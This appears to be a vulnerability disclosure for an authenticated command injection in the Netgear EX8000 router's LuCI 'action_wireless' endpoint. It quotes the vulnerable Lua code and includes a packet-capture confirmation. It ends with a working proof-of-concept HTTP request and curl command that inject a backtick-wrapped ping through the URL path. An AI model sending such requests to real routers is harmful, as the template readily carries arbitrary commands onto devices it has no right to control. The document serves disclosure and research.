

Netgear EX8000 V1.0.0.126

action_wireless Command Injection Vulnerability

Product Information

```
1 Brand: Netgear
2 Model: EX8000
3 Firmware Version: v1.0.0.126
4 Official Website: https://www.netgear.com/
5 Firmware Download URL:
  https://www.downloads.netgear.com/files/GDC/EX8000/EX8000-v1.0.0.126.zip
```

Affected Component

```
1 The `iface` parameter in the `action_wireless` function within the file:
2 \usr\lib\lua\luci\controller\admin\status.lua
```

Vulnerability Details

In the file `\usr\lib\lua\luci\controller\admin\status.lua`, an API endpoint is defined at `admin/status/realtime/wireless_status`, which triggers the `action_wireless` function. This function is vulnerable to **command injection** due to insufficient sanitization of the `iface` parameter.

```
7 function index()
8     entry({"admin", "status"}, alias("admin", "status", "overview"), _("Status"), 20).if
9     entry({"admin", "status", "overview"}, template("admin_status/index"), _("Overview")
10    entry({"admin", "status", "iptables"}, call("action_iptables"), _("Firewall"), 2).l
11    entry({"admin", "status", "routes"}, template("admin_status/routes"), _("Routes"),
12    entry({"admin", "status", "syslog"}, call("action_syslog"), _("System Log"), 4)
13    entry({"admin", "status", "dmesg"}, call("action_dmesg"), _("Kernel Log"), 5)
14    entry({"admin", "status", "processes"}, cbi("admin_status/processes"), _("Processes"
15
16    entry({"admin", "status", "realtime"}, alias("admin", "status", "realtime", "load").
17
18    entry({"admin", "status", "realtime", "load"}, template("admin_status/load"), _("Lo
19    entry({"admin", "status", "realtime", "load_status"}, call("action_load")).leaf = ti
20
21    entry({"admin", "status", "realtime", "bandwidth"}, template("admin_status/bandwidthl
22    entry({"admin", "status", "realtime", "bandwidth_status"}, call("action_bandwidth")
23
24    entry({"admin", "status", "realtime", "wireless"}, template("admin_status/wireless"
25    entry({"admin", "status", "realtime", "wireless_status"}, call("action_wireless"))
26
```

```

81 function action wireless (iface)
82     luci.http.prepare_content("application/json")
83
84     local bwc = io.popen("luci-bwc -r %q 2>/dev/null" % iface)
85     if bwc then
86         luci.http.write("")
87
88         while true do
89             local ln = bwc:read("*l")
90             if not ln then break end
91             luci.http.write(ln)
92         end
93
94         luci.http.write("]")
95         bwc:close()
96     end
97 end

```

Attack

As shown in the following figure, when injecting the command `ping -c 6 192.168.31.166` into the parameters, the Wireshark packet capture results confirm that the command was successfully executed. Specifically, **6 ICMP Request packets** sent from 192.168.31.239 to 192.168.31.166 were captured.

The screenshot displays a web browser window on the left and a Wireshark packet capture window on the right. The browser shows an HTTP GET request to `192.168.31.166 HTTP/1.1` with a `Host: 192.168.31.239` header. The Wireshark window shows a packet capture on the `icmp & ip.addr == 192.168.31.166` filter. The packet list shows several ICMP Echo (ping) requests and replies. The packet details pane shows the raw data of the first packet, which is a ping request to 192.168.31.166.

No.	Time	Source	Destination	Protocol	Length	Info
236	23.763675285	192.168.31.166	192.168.31.1	ICMP	269	Destination unreachable
238	23.763806638	192.168.31.166	192.168.31.1	ICMP	227	Destination unreachable
490	39.530152912	192.168.31.239	192.168.31.166	ICMP	98	Echo (ping) request
491	39.530303507	192.168.31.166	192.168.31.239	ICMP	98	Echo (ping) reply
608	40.529607993	192.168.31.239	192.168.31.166	ICMP	98	Echo (ping) request
609	40.529796837	192.168.31.166	192.168.31.239	ICMP	98	Echo (ping) reply
618	41.529707536	192.168.31.239	192.168.31.166	ICMP	98	Echo (ping) request
619	41.529813039	192.168.31.166	192.168.31.239	ICMP	98	Echo (ping) reply
622	42.528795905	192.168.31.239	192.168.31.166	ICMP	98	Echo (ping) request
623	42.528910502	192.168.31.166	192.168.31.239	ICMP	98	Echo (ping) reply
632	43.528668152	192.168.31.239	192.168.31.166	ICMP	98	Echo (ping) request
633	43.528812286	192.168.31.166	192.168.31.239	ICMP	98	Echo (ping) reply
644	44.528959129	192.168.31.239	192.168.31.166	ICMP	98	Echo (ping) request
645	44.529071652	192.168.31.166	192.168.31.239	ICMP	98	Echo (ping) reply

POC

```
1 GET /cgi-  
  bin/luci/;stok=13d701715b2f6f698b4bdd853fc87570/admin/status/realtime/wirele  
  ss_status/%60ping%20-c%206%20192.168.31.166%60 HTTP/1.1  
2 Host: 192.168.31.239  
3 Cache-Control: max-age=0  
4 Authorization: Basic MTC5ODQ0MjQ3MkBXcS5jb206MTIzNDU2Nzg=  
5 Accept-Language: en-US  
6 Upgrade-Insecure-Requests: 1  
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64) AppleWebKit/537.36  
  (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36  
8 Accept:  
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,  
  image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
9 Accept-Encoding: gzip, deflate, br  
10 Cookie: sysauth=e987216b419d322ff7b08f9bdf290d6b; sessionEnable=1;  
  dsessid=62994777  
11 Connection: keep-alive
```

```
1 curl --path-as-is -i -s -k -X $'GET' \  
2   -H $'Host: 192.168.31.239' -H $'Cache-Control: max-age=0' -H  
  $'Authorization: Basic MTC5ODQ0MjQ3MkBXcS5jb206MTIzNDU2Nzg=' -H $'Accept-  
  Language: en-US' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent:  
  Mozilla/5.0 (Windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML, like  
  Gecko) Chrome/126.0.6478.127 Safari/537.36' -H $'Accept:  
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,i  
  mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-  
  Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \  
3   -b $'sysauth=e987216b419d322ff7b08f9bdf290d6b; sessionEnable=1;  
  dsessid=62994777' \  
4   $'http://192.168.31.239/cgi-  
  bin/luci/;stok=13d701715b2f6f698b4bdd853fc87570/admin/status/realtime/wireles  
  s_status/%60ping%20-c%206%20192.168.31.166%60'
```